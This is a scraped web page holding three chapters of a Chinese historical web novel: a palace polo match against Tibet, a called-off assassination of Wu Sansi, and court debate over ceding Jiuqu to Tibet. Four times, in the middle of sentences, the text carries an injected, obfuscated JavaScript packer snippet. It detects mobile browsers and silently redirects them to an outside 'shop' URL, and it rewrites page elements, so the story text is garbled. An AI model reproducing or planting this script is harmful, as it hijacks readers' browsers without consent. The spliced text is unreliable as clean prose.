洛北低头称是。旁边那位身着深绿锦袍,内衬斑斓金边的少年也过来和他相见。 洛北低身道礼,才打量这位俊朗的少年。李隆基是相王李旦的第三子,也是长安城中闻名遐迩的马球高手。 “我和延秀会各自负责阻拦敌方。”李重俊叫来一边的淮阳郡王武延秀。 洛北又低身道礼,他抬起头时,武延秀明显一顿:“洛……洛公子是?” “微臣才从凉州调任兵部员外郎。”洛北坦然道。 武延秀不由得咽了口口水,俊秀的面容上神情紧张:“是……是这样啊。”他似乎才反应过来自己在大唐长安,而不是危机四伏的突厥牙帐:“这次,这次比赛,事关重大,你能行吗?” “微臣会竭尽全力。” 他们各自上马跑了几圈,又换上绯色战袍,互相呼喝几声,彼此确认并无问题,才拿起打球用的球杖熟悉手感。 “这次的‘月杖’倒是包得不错。” 李隆基拿起球杖打量了一番。这球杖杖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281662|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头弯曲成月牙状,杖身用兽皮包裹,威风凛凛的花纹看了就有气场。 李重俊笑道:“父皇甚爱马球,登基之后便重建了马球队。场上你们恐怕也感受到了,那黄土不仅是被夯实过的。上面还洒了两遍油,可不要摔下马了。” 他这话说得大家都笑了起来。李隆基敛容故作正经地道:“是,堂兄!” 他们说话之间,乐工已经重新入场,奏起了雅乐。李显带着近臣们和吐蕃大臣一道坐上了看台。宫人们在他们身后拉起屏风,那之后便是宫廷贵女们的位置。 吐蕃马球队的十人进了球场,他们身着墨绿色锦袍,所乘坐的吐蕃马比皇家的突厥马更矮小一些,也更不容易撞翻。 两队各自向看台道礼,一只漆着亮白色的实心小球被放在了球场中央。一通鼓响——开球了。 夜色下的马球比赛不比白日,灯火摇曳,光影交错,众人只能根据感觉和默契跑动位置。 李重俊挥舞着马球杆率先冲向球场中央,挥出了第一杆,马球被他击飞好远。一阵蹄声如惊雷暴响,场上剩下的一众人忙飞马追赶。 洛北、李隆基和一个吐蕃人先抢到了马球下落的位置,但马球下落之时,却是那吐蕃人率先起手,一个远射,直直要将球推进大唐的球门。 李隆基深叹一声。洛北已经飞马追了上去,他对自己的骑术素有自信,竟在那球落入大唐球门之前飞起一杆,将球生生救了出去。 看台上欢呼一片。武延秀接过此球,忙带着球往敌方球门奔去。两个悍不畏死的吐蕃人一齐上前,左右夹击。 武延秀只得急令马儿后退,怎知那左边的吐蕃人速度太快,两人还是撞到一处,连人带马一起摔在地上。 李显忙叫停比赛,让两边的仆役赶紧上来把人带马一起抬下去。 马球规则中不必两边人数对等,少一个人也是无碍,只是对李重俊来说,他防守的担子更重了。 果然,下一个球一开,一个吐蕃人便先抢到了球,他将球击到另外一位队友身边,两人一个精妙配合,还是叫吐蕃人先得了分。 李显忍不住叫了暂停,又把李重俊叫到近前骂了几句:“这样的事情要是都能出差错,国家要你这个太子做什么?!” 当众斥责太子,可是个严重的政治表态,在场的大臣无不惊讶。 桓彦范劝谏道:“陛下,游戏而已,何必为此申斥太子。” 李显面上一沉,口中却不表:“罢了,既然是桓卿求情,你且去吧,下个若是再不进球,朕就把你也换下来。” 李重俊怀着重重压力来到场下,脸色苍白。 洛北见他十分紧张,只得温言宽慰他几句:“殿下,一会儿场上微臣会回防到中场,如果来的吐蕃人太多,请殿下叫我名字。” 李隆基也道:“殿下放心,下球必进!” 李重俊受他们安慰,才觉得重振旗鼓,点了点头:“好,洛卿,隆基,这一球,可就看咱们的了。” 41. 第 41 章 木球再次被放到了场地中央。鼓声再起,李重俊飞马向前,挤过两个吐蕃人的包围,率先击球。木球飞起,划出一个弧线,来到了半场之外。 又是一阵马蹄奔腾,洛北已先到球边,一个吐蕃人随后杀到。那吐蕃人已看到了他的身影,却不拉缰绳也不减速,只狠狠地将球杖向下探去,硬生生要从洛北手上抄走此球。 洛北心知自己再倒地受伤,场上的局面就会一发不可收拾,只好紧急一拉缰绳。马儿嘶鸣一声,前蹄高高抬起,躲过了撞过来的吐蕃人。 洛北被这生生的一抄激起了火气,揉了揉自己的手腕,催动骏马向前奔去。三个吐蕃人向他合围而来,他巧妙地调拨马头,错开一人,又催动骏马高高跃起,在合围形成之前就跳出了包围圈。 洛北身后的两个吐蕃人就没他那么高超的马术,两人收势不及,生生地撞在一起。吐蕃使臣忙请求暂停,将两位受伤的吐蕃队员连人带马抬了下去。 木球再次回到了场中,洛北和李重俊打了个手势,示意这次他来抢球。李重俊脑袋上还顶着他父皇“下球必进”的压力,此刻也顾不上什么僭越不僭越,立刻点头应允,自己跑到了远处。 洛北催马来到预定位置,鼓声一响,立刻催马赶到中场。那吐蕃人随后杀到,又想故技重施,强行探底抄他的球。 他冷笑一声,只等那吐蕃人球杖一挥,立刻在木球飞起的瞬间,在空中将马球一断,一个挑球,把木球在空中高高抛起。 马球划过一个优美的弧线绕过那吐蕃人的马身,那吐蕃人忙要转身回马。洛北已先他一步挤开他回身的余裕,又从地上一抄,将马球从地上抄起,带球向吐蕃队的禁区跑去。 李隆基已在那里等待多时,见到洛北一个远推,立刻挥杆停住马球。那马球好像在他的球杆上生了根,随着他一路左突右奔来到门前,而后轻轻一推。 李重俊会意,接过马球,挥杆射门。 球进了。 场边红旗高高举起,示意这次进球有效。李显顾不上皇帝的威仪,在看台上高声叫好,乐声鼓声连绵一片,连屏风后的女眷们都是欢喜鼓舞。 “还有十九个。”李隆基远远地和洛北和李重俊打手势。 重新开球之后,又是洛北率先触球。那几个吐蕃人见识过他的骑术,都不敢轻视,纷纷围了上来。他催马跃过几个吐蕃人的包围,又有两个吐蕃人随后杀到,堵在了他的前方。 他提起缰绳,做出要从中跃过的姿态。那两个吐蕃人忙向中间催马,洛北却反身下探,给马球来了个凌空抽射,马球高高飞起,越过中场。 李隆基等待多时,风驰电掣,立刻接过此球,上演了一出单刀破门。 红旗再次竖起,场边几乎已经成了一片欢乐的海洋。吐蕃人也不甘示弱,吐蕃使臣已把队长叫上去嘱咐了一番。再开球时,吐蕃人的拼抢也变得十分凶狠。 分数一分一分地咬得很死。场边的比分来到了十七比十八,大唐现在领先一分,但场上三人的锦袍都已被汗水浸透,他们大口大口地喘着粗气,几乎说不出一句完整的话。 鼓声响起,球再次被放在场中。洛北凭借骑术挤过两人包围,优先触球。吐蕃人已知道他的厉害,把大半个球队的人都压在这半场,他望着这围堵的敌方队员,抬头抹去落到眼前的汗水,而后低身一挑—— 马球立刻腾空而起,飞过球场,李重俊和李隆基催动马儿去接,到半途时才发现那马球丝毫不见下坠痕迹,小球一路飞驰,直直地坠入了球门之中。 十七比十九! 这神乎其技的远射再次将场边的气氛点燃,欢呼声几乎把再次开球的鼓声都压了下去。洛北率先触球,挑球连过三人,与李隆基打了一次配合,才将球传入李重俊手中,李重俊挥杆轻推。 二十!大唐胜利了! 乐工奏起欢庆的乐曲,武三思第一个起舞祝贺,台下官员纷纷起舞,连年迈的张柬之也一同起舞。李显更是喜形于色,与吐蕃使臣说了几句官样文章,愣是与他手挽手地踏起歌来。 洛北、李隆基和李重俊三人刚从马上下来,就被等在旁边的禁军子弟们接了过去,他们不断地把三人抛向空中,又接住,欢呼声震耳欲聋。 李显又赐下不少赏赐,连一开场就被抬下去了的武延秀都没有落下。四人同到圣驾前谢恩。李显笑着问李重俊道:“你觉得洛北如何呀?” 李重俊哪能不明白皇帝的意思:“琏瑚之器。” 这是孔子在《论语》中形容子贡的典故,子贡又素有治理国家的才能,李重俊的言下之意再明显不过。 李显哈哈大笑:“既然如此,我让他兼任你的太子冼马,他是宋璟、姚崇联名举荐上来的人,你可要好好跟他学一学啊。” “微臣谢主隆恩。” “儿臣谢父皇隆恩。” 太子冼马只是个从五品上的官职,比洛北现在的品级只升了一级,但这个职位却是太子的亲信侍从。张柬之在队列中对洛北露出一个神秘的笑意。很明显,今天的安排和这位老谋深算的宰相大人脱不了干系。 政变的五大臣一向与太子没什么关系。一则是李重俊过往在朝堂上只是个不起眼的小人物,二则是他们五人刚刚政变成功,又去亲近太子,这行为定会让皇帝起疑。 如今他煞费苦心地帮洛北拉上太子的背景,不得不说确实是把洛北当指定接班人在培养。 这样的消息一经放出,宴席上就更热闹了。一众人等纷纷来向马球队的几人敬酒。洛北还同那个屡屡交手的吐蕃人喝了一杯。 宴席散去时,天光已然微亮,洛北被两个禁军一左一右地架出宫门,送到宫外的马车上。 马车上的裴伷先也已听说了他升任太子冼马的事,一边把他扶到马车上,一边笑道:“公子啊公子,如今咱们可是在一处为官......” 他话还没说完,洛北已经坐了起来,他掸了掸身上的衣服,急声命马车往回赶。 “公子没喝醉?”裴伷先惊讶道。 “这点酒还不至于能喝醉。”洛北催着马车回去,脸上少见地露出焦急神色,“想要诛杀武三思,今晚最是适宜,武延秀受了伤,他要去武延秀府上看望,不会带太多随从,我要立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281663|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻换衣服出发。” “公子,这......”裴伷先面露犹豫。 洛北察觉到他情绪不太对劲:“怎么了伷先?” “公子,这真的值得吗?你刚刚蒙太子、皇帝的赏识升了官,何必为了一个不确定的未来威胁,就放弃现在的一切?从长计议,缓缓图之,不行吗?” 洛北轻轻笑了一声,他何尝不明白裴伷先所说的这个道理啊。 如今的他不是初到突厥草原,急于获得大汗信任的那个亡命之徒了。他有视若父亲的长辈阿史那献将军、有久别重逢的血亲褚沅,有朋友一般的下属裴伷先、有君子之交的王翰、张孝嵩,还有举荐他,与他有往来的一干大臣们...... “孔子说,知不可为而为之。便是行事不问可不可能,但问应不应该。”他闭上双眼,“武三思不除,朝政便一日不能安定清明,所以,我一定要这么做。” 天色已经亮了,东方的天际里露出隐约的一抹蓝色。 洛北换了身夜行衣,将弓箭和短刀都绑在身上。他望了一眼更漏,嘱咐裴伷先道:“再过两个时辰就是朝臣们入朝的时间, 武三思一定会在一个半时辰之后离开武延秀的府邸,你一个时辰之后叫我一声,可好?” 裴伷先知道他是劝不动的,只得含泪应允。 “送人出征,可不兴流泪啊。”洛北道,“我已留下书信,交待此事都有我一人承担。万一败露,你就将此信交上去,不要连累你。” 裴伷先哽咽得说不出话,偏头避开了他的目光。 洛北只得回房静坐,他一生中极少有这样安静得什么都不想的时刻,没有对周围人的揣测,没有对未来的计算,脑海之中只留下一片空白,虚无的空白。 ........ “褚姑娘,你不能进去。” “什么我不能进去,我是宫中使节,奉皇命行事。这天下就没有我不能去的地方。” “那也不行,这......” 几番激烈的争吵终究还是打乱了洛北的思绪,他睁开眼到门外一看,褚沅同裴伷先正在院子中争执。褚沅见到他,先喊了他的名字:“洛公子,裴詹事(裴伷先此时任太子詹事府詹事)不许我进来,我可是奉皇命来给你送醒酒汤的。” 洛北轻轻叹了口气:“伷先,你让褚学士进来吧,我有几句话,要同她说。” “这,公子?”裴伷先有些犹豫 “无妨,你叫她进来吧。”洛北打开房门,裴伷先只得后退一步,把褚沅让进了屋子里。 洛北在她身后将房门微合,与她在矮榻上对面而坐:“褚学士真的是奉皇命来送醒酒汤的?” 褚沅摇了摇头,将几只瓷瓶递到他面前:“圣上自己都醉倒了,哪还记得这些事情,这几瓶药是我问是司药姐姐讨的,或消肿化瘀,或醒酒提神,都标在瓶子上了。” 洛北收了瓷瓶,开门见山地道:“我要去刺杀武三思。” “什么?” “我要去行刺梁王武三思,时间就在半个时辰后,褚学士,你打算告发我,还是杀了我?” 42. 第 42 章 “我怎么会这么对待阿兄!” 褚沅好不容易才掩住脸上惊讶神色。屋内没有旁人,她自然地把称呼从“洛公子”换成了“阿兄”。 这对洛北来说是个陌生又美好的词汇,他忍不住低头一笑:“武三思不死,武氏一定会卷土重来,天下就又要动荡不安了。” 褚沅苦笑了一声:“我知道,武家是我们家的杀父仇人,我也何尝不是恨极了武三思。只是那武三思不仅与上官姑姑情谊甚笃,也是皇后娘娘的入幕之宾。如果他死了,皇家是绝不会放过行刺之人的。阿兄,你打算逃到什么地方去?” “天下之大,还怕没有我的容身之处吗?”洛北没有直接答她的话。 褚沅知道他已有赴死之意,泪水不禁盈满了眼眶,这是她十六年来日日期盼,好不容易才失而复得的血亲啊。 她哭得梨花带雨,鬓发散乱,甚是狼狈。洛北忍不住低头替她擦了擦眼泪:“莫哭……沅儿。” 他一直冷静克制,平素也以职务称呼褚沅,从没有过这样亲昵的词句。褚沅惊讶得忘了流泪,抬起眼眸望着他:“阿兄……别去,我求你,别去。” 洛北轻轻笑了:“沅儿,我希望你记住我……倘若有一个人能记住我,也算我没有白来这世上一遭。” 说罢,他放开褚沅,拿起桌边的唐刀向门口走去。 褚沅想抓他的衣摆,却没有抓住,她慌乱之下,语速极快地喊了一句:“阿兄,你要舍生取义,我不敢拦你。可是,如果狄公尚在,见到你如此行事,他会怎么想呢?” 洛北顿住步伐,手中唐刀坠在地上,发出“哐当”一声:“你说什么?” “我说。”褚沅努力稳住声音,又重新说了一遍:“如果狄公知道的话,他会怎么想呢?” 洛北后退半步,转过身来,再次坐到矮榻上,与她对视。 褚沅的眼眸色彩比他更深,唯有灯火投下,才能带出她眼中一抹金棕。洛北专注地盯着着这抹与自己双眸相似的颜色半晌,才喃喃道: “如果你不是我的妹妹,或许,我是说或许,我会杀了你。” 洛北解开身上的弓箭,倒在矮榻上,似乎从未如此疲惫。他长长叹了口气:“我曾经真心实意地想杀一个人报仇雪恨,但在黑暗之中,有人握住了我拿刀的手。” “他告诉我,不论是县令,还是宰相,唯有手执律法之人,才能将罪人绳之以法。”他轻声道,“因为他们要为自己做的一切负责。” 褚沅向前挪了半步,帮洛北把头靠在自己膝上,伸手遮住了他的眼睛:“阿兄,天下大事,也不是在你一个人的肩上担着。不要把自己逼得太紧了。” 突如其来的黑暗第一次没有让洛北觉得不安。褚沅身上清幽的香气让他想起外祖裴家,很多年前,在他还是个懵懂无知的幼儿时,他曾经随母亲在那里住过一段时间。 但那已经是很多很多年前的事情了。 一刻之后,裴伷先过来敲了敲房门,见里头没有声响,只悄悄地把微合的房门拉开了一条缝。 褚沅端坐在矮榻上,洛北在她膝头睡得正沉。 似乎为他这声响惊动,褚沅回过头来,举起手指竖在唇边,示意他不要出声。裴伷先心领神会,退出房间。 他数月来紧绷的精神终于放松下来,疲惫和哈欠一起涌了上来,几乎没给他回自己府邸的时间,就在洛北府上的客房睡下了。 数日之后,魏元忠调任侍中,检校兵部尚书,随他一起到兵部的,还有圣上委任洛北兼任太子冼马的诏书。 魏元忠当众宣读了诏书,又把洛北留下来谈话。 “听说你在宫中的马球比赛上出尽了风头,才让圣上对你青眼有加?” 这话与发难没什么区别。洛北偷偷打量了一眼魏元忠,只见他双目炯炯有神地盯着自己,连眨也不眨一下。 魏元忠素有刚直的名声,当年对待权势熏天的二张犹能毫不畏惧,把二张兄弟吓得抱住女皇大腿日夜哭诉,一定把他贬黜出京才罢休。 如今他回到长安,看不起洛北靠一场马球比赛晋升,也是很正常的。 洛北想了想,道:“属下久在边地与突厥、吐蕃作战,故而对骑射一道有些心得。那日又是与吐蕃比赛,我是想着弘扬大唐国威,才得意忘形了些。” “久在边地,哦……我记得,你是郭元振的属下,是姚崇和宋璟联名举荐的。”魏元忠翻了翻面前洛北的档案,“姚相公担任灵武道大使与你有接触这不奇怪,宋璟相公又是怎么和你认识的?他可是最刚正的一个人。” 洛北听他这话,心下已经明了:当年敢和二张对着干的,除了魏元忠也就是宋璟,恐怕这两位相公心中也有几分战友的惺惺相惜之情。 “敢问魏相公可听过李弘泰这个名字?” “那和二张勾结一道的术士?他不是已被女皇处死了吗?”魏元忠好奇问。 “此人就是我抓到的。”洛北道,“当时我回京探亲,恰好遇到此人,因缘际会之下,不仅抓到了此人,还顺带破获了另外一桩有关禁军的杀人凶案。” 魏元忠这才对洛北另眼相看起来:“这样一说,倒是不奇怪为什么宋相公也欣赏你了。” “属下不敢居功。”洛北长揖在地。 魏元忠哈哈一笑,示意他起身,又把桌上一封文件交给他:“你既在职方司,又曾经是郭元振的下属,那么你来看看这封文件。” 那封文件是吐蕃请求和亲的文书,其中除了希望平息两国战火,希望公主入藏的种种官样文章之外,还夹杂了一条颇为扎眼的条件:“吐蕃要我们把九曲之地作为公主的汤沐陪嫁给吐蕃?!” “不错。”魏元忠点了点头,“你久在边地,又和吐谷浑首领慕容曦光有交情,一定很了解那边的情况,说说你的看法。” 这是要考校洛北的意思了。洛北也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281664|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心知肚明,沉吟片刻才道:“可否请魏相公给我一张白纸?” 魏元忠从自己书桌上拿起一张纸递给他。 洛北俯身在图上描画出吐蕃、青海及甘肃等西北边陲的地图,又标出城市、关隘: “魏相公请看,这里就是九曲之地,此地离积石军只有三百里,而且土地肥沃,水甘草丰。如果吐蕃得到此地,立刻可以凭借此地作为跳板,袭击我临洮、兰州和渭州。西北边境将永无宁日。” 魏元忠已经惊讶于他不需要任何参考,便把这些情况都记得清清楚楚,面上却不表露,只道:“此事圣上已经私下问过近臣们的意见,不少大臣都是赞成的。” 洛北眉头一跳,他是真的在边境上流过血的人,自然知道丢失一个战略重地对朝廷的价值——和平的时候送出去的高地,一旦开战,就要用十倍百倍的人命才能堆回来:“魏相公的意见呢?” “我现在想听的是你的看法。”魏元忠避而不谈,只看着洛北:“朝中如此之多的重臣都赞成,唯独你一个小小的兵部员外郎反对,你拿什么反对,又有什么理由反对?” 洛北想了想:“吐蕃的内情,恐怕魏相公也知道。女皇时代他们前来求亲,是因为河源谷大战之后吐蕃损兵折将,想恢复两国和平以求发展。可当时那位求婚的赞普杜松芒波杰已在同一年死于吐蕃内乱。” 这便显出洛北久在边境的沉淀来。魏元忠不由得坐得更加前倾了些:“说下去。” “杜松芒波杰死后,吐蕃国内内讧了很长一段时间。郭都督也曾趁此机会拓境凉州,以拒吐蕃。后来,杜松芒波杰之子赤德祖赞被立为新赞普。赤德祖赞那一年只有七岁。吐蕃大局其实掌控在他的祖母尺玛雷手中。尺玛雷为了稳定吐蕃局势,震慑其他势力,才为孙子向我朝求娶公主。” “吐蕃也出了位摄政女主啊。”魏元忠不由得一笑,“你的意思是,和亲这件事情,吐蕃人比我们要急得多?” “不错,倘若我们拒不和亲,这位赞普和他的祖母便会缺乏控制吐蕃朝局的力量。所以哪怕我们拒不让出九曲之地,吐蕃人也不会怎么样。”洛北道。 他顿了顿,又道:“大臣们赞成此提议,原因不过是几个,第一个是圣上爱重金城公主,他们揣摩上意,将九曲之地许给吐蕃,增加金城公主在吐蕃的话语权。” “哼。”魏元忠立刻想到了议事时武三思等人的嘴脸,不由得冷哼一声。 “第二个理由便是他们认为域民不以封疆之界,固国不以山溪之险,而在政通人和。要以德服人。其实这点说法驳斥起来倒也容易,只要把突厥降而复叛,吐蕃畏威而不怀德的旧事拿出来就罢了。” 魏元忠轻轻一笑:“你是不是忘了,还有个理由,也是当年狄公在《罢四镇疏》里提到的,争夺这些地方的成本实在太高,老百姓无法负担,对大局是有损无益,倒不如放弃这些地方,将这些钱省下来安抚民生?” 43. 第 43 章 洛北早知道他要拿这份奏疏来说事,立刻答道: “魏相公,当年狄公写《罢四镇疏》时,大唐刚刚克复安西四镇不久,却在陇右边境被吐蕃击败。那一战,我军死伤惨重。战争结束之后,吐蕃人甚至将我死难将士筑成京观,炫耀他们的武功。” 魏元忠点了点头。他还记得,当年女皇为了那场惨败大发雷霆,将主兵的宰相娄师德贬斥出京,又将主将王孝杰贬为白身:“你年纪虽小,这些事情倒是记得清楚。” 洛北轻轻一笑,魏元忠哪里知道,当年狄仁杰写这封奏疏的时候,他就站在旁边给狄仁杰磨墨: “当时狄公上奏,是因为陇右军队死伤惨重,陇右百姓需要休养生息,可又屡屡为吐蕃侵扰。他希望早日促成和议,能使百姓安居乐业而已,并不是真的要弃地弃民。” 洛北说罢,又俯身在地图上标出几处关隘: “可如今是吐蕃屡屡战败在先,向我们求和。我们要是遂了他们的心意,把九曲之地抛弃,或许可以节省一时的钱财。但弃守九曲及九曲以西修建的堡垒和受降城,便意味着过去的投入全部打了水漂。而吐蕃却可以轻易入犯我朝临洮、兰州等地,朝廷要防御吐蕃,便要增兵,新修受降城——其中花费,远胜今日。更不要说吐蕃占据此地,侵扰西域,阻绝商道,来自胡商的税收也会减少,这收入一年可有三百万钱。” “不愧是郭元振教出来的下属,果然算得一笔好账。”魏元忠哈哈大笑,“其实,还有一点你没有提到,倘若吐蕃借此和突厥联手,我西部防线将腹背受敌,连长安都会在他们的威胁之下,这是我等绝不能容忍之事。” 洛北点头道:“魏相公深谋远虑,属下受教了。” “只是如今朝中深谋远虑的人实在太少太少。与我一道回到京城的唐休璟也是知兵的人,他是会和我们站在一边的。剩下的人里:张柬之那帮人巴不得分掉我们的权力和资源。武三思那伙人又天天逢迎君上的心意……要赢此局,不容易啊。” 魏元忠素来以刚直强硬闻名于朝堂,曾数次受人诬陷被贬而不改其心,但到了这个时候,也不免有“吾道太孤”的想法。 洛北知道他的心事:“属下处理李弘泰案时,曾与时任大理石少卿的桓彦范桓相公有过来往,若魏相公允许,可否让属下去谒见桓相公劝说一番?” “你要愿意吃闭门羹,我是没有意见。”魏元忠摇了摇头,“家国大事,本来就不该成为大家争名夺利的地方。他若能被说服,于陇右百姓会是件好事。” 洛北笑了笑:“宰辅们各有各的立场,确实不好劝动。然而与吐蕃和亲这样的家国大事,或许应该召开大朝会群策群力,为诸位相公补阙拾遗才是。” “你啊,还是把朝政看简单了。”魏元忠以为他忍不住要在大朝会上显摆自己,“就是召开大朝会廷议此事,你一个五六品的小官儿,又怎么可能说得上话?不过这倒是个办法,受制于百官,那些卖国求荣的人也不敢太放肆。” 洛北笑道:“魏相公虑的是。”他当然知道他这样的角色不可能在大朝会上公然挑衅一干宰相——他如今不过是个从五品上的小官,就是搭上了太子的背景,也不可能挑动这群有王爵的大佬。 但一旦召开大朝会廷议此事,此事就会闹得沸沸扬扬,朝野皆知。华夏自古以来就认为“普天之下,莫非王土”,更何况如今经历了“漠南漠北无汗庭”的贞观永徽年间的大唐百姓? 洛北想要的只有两个字:民意! 一旦民意四起,即使是皇帝李显本人也不得不畏惧这浩浩汤汤的天下大势! 魏元忠见他沉默不语,只拍了拍他的肩:“如今圣上指了你兼任太子属官,你可以多到太子那里走动走动,问问他的看法,若太子能站到我们这边,也算是个助力。” 洛北低头而去,立刻找了个时间去拜见太子。 那是个天朗气清的春日,洛北进了东宫,就看到一只蹴鞠横空飞到他面前,他眼见蹴鞠将在面前落地,交错跳起,拿脚后跟一磕,把蹴鞠踢回了来人的怀中。 李重俊抱着蹴鞠,也不着恼,抬手免去了洛北的行礼:“这招式漂亮得很,你有空教教我。” “殿下是千金之躯,这点雕虫小技怎么能入了殿下的法眼?”洛北笑道,“如今春和景明,困在东宫蹴鞠有什么意思,殿下若是无聊,不妨同我一道去曲江边踏青吧。听说那边正在举办宴会,席上非常热闹。” 李重俊本就和他父亲李显一样喜欢宴游,闻言更是欣喜:“还是你知道我的心意,我去换身衣服,咱们就做一次白龙鱼服之游,我不摆太子的架子。你也别太恭敬了。” 长安素有春日踏青赏花的风俗。洛北和李重俊骑马到曲江池边,只见游人如织,春色满园,不少屏风围挡之内,还坐着雍容华贵的女眷。有处满是青年学子的地方,人头攒动,洛北便带着李重俊挤进了人群之中。 人群中央,正有一个锦袍青年一边饮酒,一边赋诗: “紫台穹跨连绿波,红轩铪匝垂纤罗。中有一人金作面,隔幌玲珑遥可见。 忽闻黄鸟鸣且悲,镜边含笑著春衣。罗袖婵娟似无力,行拾落花比容色。 落花一度无再春,人生作乐须及辰。君不见楚王台上红颜子,今日皆成狐兔尘。” 李重俊哈哈大笑,悄声对洛北道:“饮美酒,赋美人,好个风流人物啊。这是谁?” “这便是晋阳名士王翰王公子,他家资豪富,平生最喜欢美酒宝马。如今到长安来,是赶考的。” 李重俊不免又看他一眼:“你怎么知道的这么清楚?” “我和这位王公子有些交情。”洛北解释道,“此人运气之差,常令我瞠目结舌。可他这么差的运气,还能过上如今这样的生活,也确实时常出乎我的意料。” “这话是怎么说的?”李重俊被这关子勾起了好奇心。 洛北笑道:“我刚和王公子结识的时候,每一次见面他都在被人追杀。” 李重俊并不相信洛北的这番话。等到王翰写完了诗,下场来和洛北打招呼的时候,他立刻询问:“听说你和洛公子相识,每一次都是因为他救了你的命?真有这事?” “这位是?”王翰不明所以地看向洛北。 洛北只得佯作正经地同王翰解释:“这位是李公子,是我的朋友。” 在帝都长安,又是姓李。王翰心下已经猜到了几分,不免恭敬称是。他素来好口才,讲起与洛北相识的经过,说的是绘声绘色,栩栩如生,听得李重俊只恨不得自己和他们一道冒一次险:“哎呀,都怪宫禁困人,让我错过了长安城中如此之多的好风景!” 他这话已是自爆身份,王翰正要低头行礼,却看到张孝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281665|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嵩提溜个衣着华贵的吐蕃武士从人群中走到了空场上: “你这小贼!被人发现了还敢抵赖,快把姚兄弟的玉佩还回来!” 同张孝嵩一道出列的是个文质彬彬的青年,一身细布长衫。他见那吐蕃人不说话,忙上去翻他的衣服,终于在腰间翻出一块平安玉佩,他气得连着打了那吐蕃人几下:“这是我娘留给我的,你凭什么拿走?!” 那吐蕃人被他这样翻起东西,几次想要发作,奈何双手被张孝嵩牢牢控在身后,实在动弹不得,嘴里却不干不净地骂着什么。 洛北听得懂吐蕃话,闻言不禁把眉头一皱。 李重俊问:“他说什么?” 洛北犹疑了几分,没有直接说出口。倒是王翰起了性子,上去就给了那吐蕃人一下:“喂,你这不知死活的东西,嘴里在说什么?” 那吐蕃人吐掉嘴里一口血沫,恨声道:“你们这群不长眼的东西,竟敢动我?我是吐蕃使者,吐蕃大论家的贵族。我要到你们的皇帝那里去告状!” “告状又如何?”王翰喝道,“你吐蕃与我大唐为甥舅之国,天下还没有外甥到舅舅家里来偷东西的道理!” “什么甥舅之国,也就是你们中原汉人骗骗自己的鬼话。你们自己相信吗?要不是你们打不过我们吐蕃,怎么会愿意赔一个 公主来吐蕃?”那武士得意笑道,又喝令张孝嵩道:“你给我放开!” 张孝嵩少年习武,被他这样一说,也起了性子:“哼,你有本事,就从我手上挣开——这里是天子脚下的长安城,容不得你番邦小丑如此放肆。” “天子,什么天子?和事天子罢了?”那吐蕃人真有几分本事,腰身一动一扭,便从张孝嵩手上挣了开,“我家国主叫你们把九曲之地和小公主一起送来,你们不就巴巴地双手送了来吗?就是拿了他一个东西又怎么样,就是把你们都杀了,也不会如何!” 在场的不乏大家世宦子弟,闻言已是愤慨异常。王翰一只手都已按在了刀上,远远地只听一声:“金吾卫到——”一列禁军排开众人,向这里走了过来。 那为首的禁军将军对那吐蕃武士道了礼:“我等奉命保护吐蕃使团,是听到有人报信才来了这里。敢问这里出了什么事情?” 那吐蕃武士见了来撑腰的,更是得意洋洋,指了周围一圈人:“这些人冲撞使团,寻衅滋事,把他们都给我带回去!” 李重俊脸色气得通红,恨不得当场表露身份,却被洛北死死按住。 洛北排开众人,孤身向前,对那金吾卫道了个礼:“我乃兵部尚书员外郎兼太子冼马洛北,将军,这些举子都是我的朋友,并不是有意开罪吐蕃使臣,还请将军不要见怪。” 金吾卫并不想掺和进这摊子浑水,见洛北给了台阶,忙就驴下坡:“这样啊,既然洛公子担保,这些事情要不就此作罢吧。”他生怕再停下去会激起变故,立刻叫下属把那吐蕃使臣带走了。 金吾卫一散,众人也散开了,口中却还在议论此事。 那姓姚的青年忙找了个空,跟着张孝嵩来洛北面前道谢。 洛北一笑道:“这有什么可谢,本来就不是你的错。只是这些吐蕃人在我大唐横行霸道,让你吃了苦。” 